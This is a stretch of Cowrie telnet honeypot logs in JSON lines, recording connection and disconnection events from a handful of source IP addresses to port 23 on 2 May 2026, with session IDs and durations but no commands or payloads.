{"eventid":"cowrie.session.closed","duration":33.79915690422058,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:02.428865Z","src_ip":"62.210.97.77","session":"03541a462966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34980,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a54725f523","protocol":"telnet","message":"New connection: 165.232.131.181:34980 (10.17.0.5:23) [session: a6a54725f523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:04.826386Z"}
{"eventid":"cowrie.session.closed","duration":36.59456396102905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:06.480495Z","src_ip":"62.210.97.77","session":"bfda08798016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36140,"dst_ip":"10.17.0.5","dst_port":23,"session":"8faf5772cd9e","protocol":"telnet","message":"New connection: 165.232.131.181:36140 (10.17.0.5:23) [session: 8faf5772cd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:08.181522Z"}
{"eventid":"cowrie.session.closed","duration":35.16386914253235,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:08.590006Z","src_ip":"62.210.97.77","session":"231bd9e2e901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35432,"dst_ip":"10.17.0.5","dst_port":23,"session":"741a06ea06e5","protocol":"telnet","message":"New connection: 165.232.131.181:35432 (10.17.0.5:23) [session: 741a06ea06e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:09.220938Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43526,"dst_ip":"10.17.0.5","dst_port":23,"session":"108a7d1fce67","protocol":"telnet","message":"New connection: 62.210.97.77:43526 (10.17.0.5:23) [session: 108a7d1fce67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:09.721137Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42492,"dst_ip":"10.17.0.5","dst_port":23,"session":"3877f54b422c","protocol":"telnet","message":"New connection: 38.54.119.93:42492 (10.17.0.5:23) [session: 3877f54b422c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:10.867394Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42922,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e7ab0dca974","protocol":"telnet","message":"New connection: 38.54.119.93:42922 (10.17.0.5:23) [session: 2e7ab0dca974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:11.611088Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"97bb6ea38ef9","protocol":"telnet","message":"New connection: 62.210.97.77:43538 (10.17.0.5:23) [session: 97bb6ea38ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:12.369409Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38000,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f69bf82728","protocol":"telnet","message":"New connection: 165.232.131.181:38000 (10.17.0.5:23) [session: 85f69bf82728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:12.627792Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43544,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07b3d620a94","protocol":"telnet","message":"New connection: 62.210.97.77:43544 (10.17.0.5:23) [session: f07b3d620a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:13.324641Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea076364ab84","protocol":"telnet","message":"New connection: 62.210.97.77:43554 (10.17.0.5:23) [session: ea076364ab84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:15.187774Z"}
{"eventid":"cowrie.session.closed","duration":41.81646275520325,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:15.539096Z","src_ip":"65.60.27.33","session":"75210ed86af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.28568696975708,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:16.913359Z","src_ip":"165.232.131.181","session":"85f69bf82728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.749454736709595,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:18.360417Z","src_ip":"38.54.119.93","session":"2e7ab0dca974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98820161819458,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:18.728007Z","src_ip":"62.210.97.77","session":"35ec70e6fcc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12779688835144,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:18.732338Z","src_ip":"62.210.97.77","session":"bf1b7e6c390c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49830,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d6d11237bf","protocol":"telnet","message":"New connection: 62.210.97.77:49830 (10.17.0.5:23) [session: a7d6d11237bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:18.879668Z"}
{"eventid":"cowrie.session.closed","duration":36.004127502441406,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:19.650976Z","src_ip":"62.210.97.77","session":"6afe4192b109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49838,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1dd48b99b24","protocol":"telnet","message":"New connection: 62.210.97.77:49838 (10.17.0.5:23) [session: c1dd48b99b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:20.583154Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40688,"dst_ip":"10.17.0.5","dst_port":23,"session":"a577092b4bbc","protocol":"telnet","message":"New connection: 165.232.131.181:40688 (10.17.0.5:23) [session: a577092b4bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:20.753122Z"}
{"eventid":"cowrie.session.closed","duration":32.28294491767883,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:21.503156Z","src_ip":"62.210.97.77","session":"3e242cfdbea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.34538793563843,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:21.751035Z","src_ip":"165.232.131.181","session":"62587dbfa89d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.15196681022644,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:23.591237Z","src_ip":"62.210.97.77","session":"3e204af1cec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47533702850342,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:23.867911Z","src_ip":"62.210.97.77","session":"310d8f619e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87064290046692,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:23.936465Z","src_ip":"62.210.97.77","session":"18c48cc96fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50958,"dst_ip":"10.17.0.5","dst_port":23,"session":"875754751a1b","protocol":"telnet","message":"New connection: 65.60.27.33:50958 (10.17.0.5:23) [session: 875754751a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:27.065335Z"}
{"eventid":"cowrie.session.closed","duration":51.00383448600769,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:27.141383Z","src_ip":"38.54.119.93","session":"05fe0bd88478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.239046812057495,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:27.969302Z","src_ip":"62.210.97.77","session":"732b50fa5123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70512127876282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:28.549060Z","src_ip":"62.210.97.77","session":"05471f78cdc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50430,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a22e9d46397","protocol":"telnet","message":"New connection: 62.210.97.77:50430 (10.17.0.5:23) [session: 6a22e9d46397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:30.604059Z"}
{"eventid":"cowrie.session.closed","duration":46.97115778923035,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:30.881797Z","src_ip":"38.54.119.93","session":"ad7ebaa1667a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"e620191baeca","protocol":"telnet","message":"New connection: 165.232.131.181:44114 (10.17.0.5:23) [session: e620191baeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:31.245480Z"}
{"eventid":"cowrie.session.closed","duration":51.68260860443115,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:31.391575Z","src_ip":"165.232.131.181","session":"578906ca9b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50436,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d86a6e5679d","protocol":"telnet","message":"New connection: 62.210.97.77:50436 (10.17.0.5:23) [session: 0d86a6e5679d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:33.717581Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50446,"dst_ip":"10.17.0.5","dst_port":23,"session":"af95c455abc0","protocol":"telnet","message":"New connection: 62.210.97.77:50446 (10.17.0.5:23) [session: af95c455abc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:34.117560Z"}
{"eventid":"cowrie.session.closed","duration":35.219650983810425,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:34.746385Z","src_ip":"62.210.97.77","session":"cef9cb14ccab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":32890,"dst_ip":"10.17.0.5","dst_port":23,"session":"744ab41c7af1","protocol":"telnet","message":"New connection: 65.60.27.33:32890 (10.17.0.5:23) [session: 744ab41c7af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:34.769070Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46136,"dst_ip":"10.17.0.5","dst_port":23,"session":"951286526d2b","protocol":"telnet","message":"New connection: 165.232.131.181:46136 (10.17.0.5:23) [session: 951286526d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:36.995047Z"}
{"eventid":"cowrie.session.closed","duration":46.00000786781311,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:38.405555Z","src_ip":"38.54.119.93","session":"aca13391b2f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47044,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b152b9b900","protocol":"telnet","message":"New connection: 165.232.131.181:47044 (10.17.0.5:23) [session: 78b152b9b900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:39.617089Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"462484c17e81","protocol":"telnet","message":"New connection: 62.210.97.77:45160 (10.17.0.5:23) [session: 462484c17e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:40.285032Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46680,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea5abc15df1","protocol":"telnet","message":"New connection: 165.232.131.181:46680 (10.17.0.5:23) [session: cea5abc15df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:41.625411Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34580,"dst_ip":"10.17.0.5","dst_port":23,"session":"efed7e9c1ae7","protocol":"telnet","message":"New connection: 38.54.119.93:34580 (10.17.0.5:23) [session: efed7e9c1ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:42.196580Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48202,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c9c5b849ba","protocol":"telnet","message":"New connection: 165.232.131.181:48202 (10.17.0.5:23) [session: 60c9c5b849ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:43.038307Z"}
{"eventid":"cowrie.session.closed","duration":34.26656746864319,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:43.987626Z","src_ip":"62.210.97.77","session":"108a7d1fce67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.66028070449829,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:44.486544Z","src_ip":"165.232.131.181","session":"a6a54725f523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45170,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb2b2b97c53","protocol":"telnet","message":"New connection: 62.210.97.77:45170 (10.17.0.5:23) [session: dbb2b2b97c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:45.912685Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47980,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d3a88106d9","protocol":"telnet","message":"New connection: 165.232.131.181:47980 (10.17.0.5:23) [session: 19d3a88106d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:46.470255Z"}
{"eventid":"cowrie.session.closed","duration":0.2441086769104004,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:46.714200Z","src_ip":"165.232.131.181","session":"19d3a88106d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.848264932632446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:48.217473Z","src_ip":"62.210.97.77","session":"97bb6ea38ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38334,"dst_ip":"10.17.0.5","dst_port":23,"session":"3445704fbf39","protocol":"telnet","message":"New connection: 38.54.119.93:38334 (10.17.0.5:23) [session: 3445704fbf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:48.330189Z"}
{"eventid":"cowrie.session.closed","duration":40.490352630615234,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:48.671760Z","src_ip":"165.232.131.181","session":"8faf5772cd9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.045987129211426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:49.233653Z","src_ip":"62.210.97.77","session":"ea076364ab84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59790,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2cbbd05cfa","protocol":"telnet","message":"New connection: 62.210.97.77:59790 (10.17.0.5:23) [session: 7c2cbbd05cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:51.564378Z"}
{"eventid":"cowrie.session.closed","duration":39.35806941986084,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:52.682627Z","src_ip":"62.210.97.77","session":"f07b3d620a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9140043258667,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:54.793518Z","src_ip":"62.210.97.77","session":"a7d6d11237bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42003107070923,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:55.003090Z","src_ip":"62.210.97.77","session":"c1dd48b99b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58474,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a36c5a575b2","protocol":"telnet","message":"New connection: 65.60.27.33:58474 (10.17.0.5:23) [session: 5a36c5a575b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:56.146453Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49540,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a27d117dbec","protocol":"telnet","message":"New connection: 62.210.97.77:49540 (10.17.0.5:23) [session: 5a27d117dbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:58.875449Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f01786cb50b","protocol":"telnet","message":"New connection: 62.210.97.77:49548 (10.17.0.5:23) [session: 4f01786cb50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:59.209149Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54144,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9b4efde639","protocol":"telnet","message":"New connection: 165.232.131.181:54144 (10.17.0.5:23) [session: ab9b4efde639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:00.821479Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49556,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a028abf871e","protocol":"telnet","message":"New connection: 62.210.97.77:49556 (10.17.0.5:23) [session: 8a028abf871e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:03.200629Z"}
{"eventid":"cowrie.session.closed","duration":53.08945965766907,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:03.956745Z","src_ip":"38.54.119.93","session":"3877f54b422c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.273425579071045,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:04.338613Z","src_ip":"65.60.27.33","session":"875754751a1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49572,"dst_ip":"10.17.0.5","dst_port":23,"session":"f483737b98a8","protocol":"telnet","message":"New connection: 62.210.97.77:49572 (10.17.0.5:23) [session: f483737b98a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:04.886601Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"9554024b6caa","protocol":"telnet","message":"New connection: 165.232.131.181:56046 (10.17.0.5:23) [session: 9554024b6caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:05.108620Z"}
{"eventid":"cowrie.session.closed","duration":31.31989622116089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:05.437340Z","src_ip":"62.210.97.77","session":"af95c455abc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56984,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc502212258","protocol":"telnet","message":"New connection: 165.232.131.181:56984 (10.17.0.5:23) [session: edc502212258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:07.599364Z"}
{"eventid":"cowrie.session.closed","duration":34.05338191986084,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:07.770828Z","src_ip":"62.210.97.77","session":"0d86a6e5679d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.01327180862427,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:09.766260Z","src_ip":"165.232.131.181","session":"a577092b4bbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.29909563064575,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:09.903034Z","src_ip":"62.210.97.77","session":"6a22e9d46397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.931230306625366,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:10.039727Z","src_ip":"165.232.131.181","session":"9554024b6caa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35530,"dst_ip":"10.17.0.5","dst_port":23,"session":"99027348d62d","protocol":"telnet","message":"New connection: 62.210.97.77:35530 (10.17.0.5:23) [session: 99027348d62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:11.823036Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52804,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c8e71f37a9","protocol":"telnet","message":"New connection: 38.54.119.93:52804 (10.17.0.5:23) [session: 19c8e71f37a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:12.729187Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35532,"dst_ip":"10.17.0.5","dst_port":23,"session":"2362bedd84c1","protocol":"telnet","message":"New connection: 62.210.97.77:35532 (10.17.0.5:23) [session: 2362bedd84c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:14.063544Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35536,"dst_ip":"10.17.0.5","dst_port":23,"session":"6115426971ec","protocol":"telnet","message":"New connection: 62.210.97.77:35536 (10.17.0.5:23) [session: 6115426971ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:14.244629Z"}
{"eventid":"cowrie.session.closed","duration":35.99222803115845,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:16.277170Z","src_ip":"62.210.97.77","session":"462484c17e81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56178,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fbd9c3fecbc","protocol":"telnet","message":"New connection: 38.54.119.93:56178 (10.17.0.5:23) [session: 8fbd9c3fecbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:17.022590Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35552,"dst_ip":"10.17.0.5","dst_port":23,"session":"616cb0a00303","protocol":"telnet","message":"New connection: 62.210.97.77:35552 (10.17.0.5:23) [session: 616cb0a00303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:17.590697Z"}
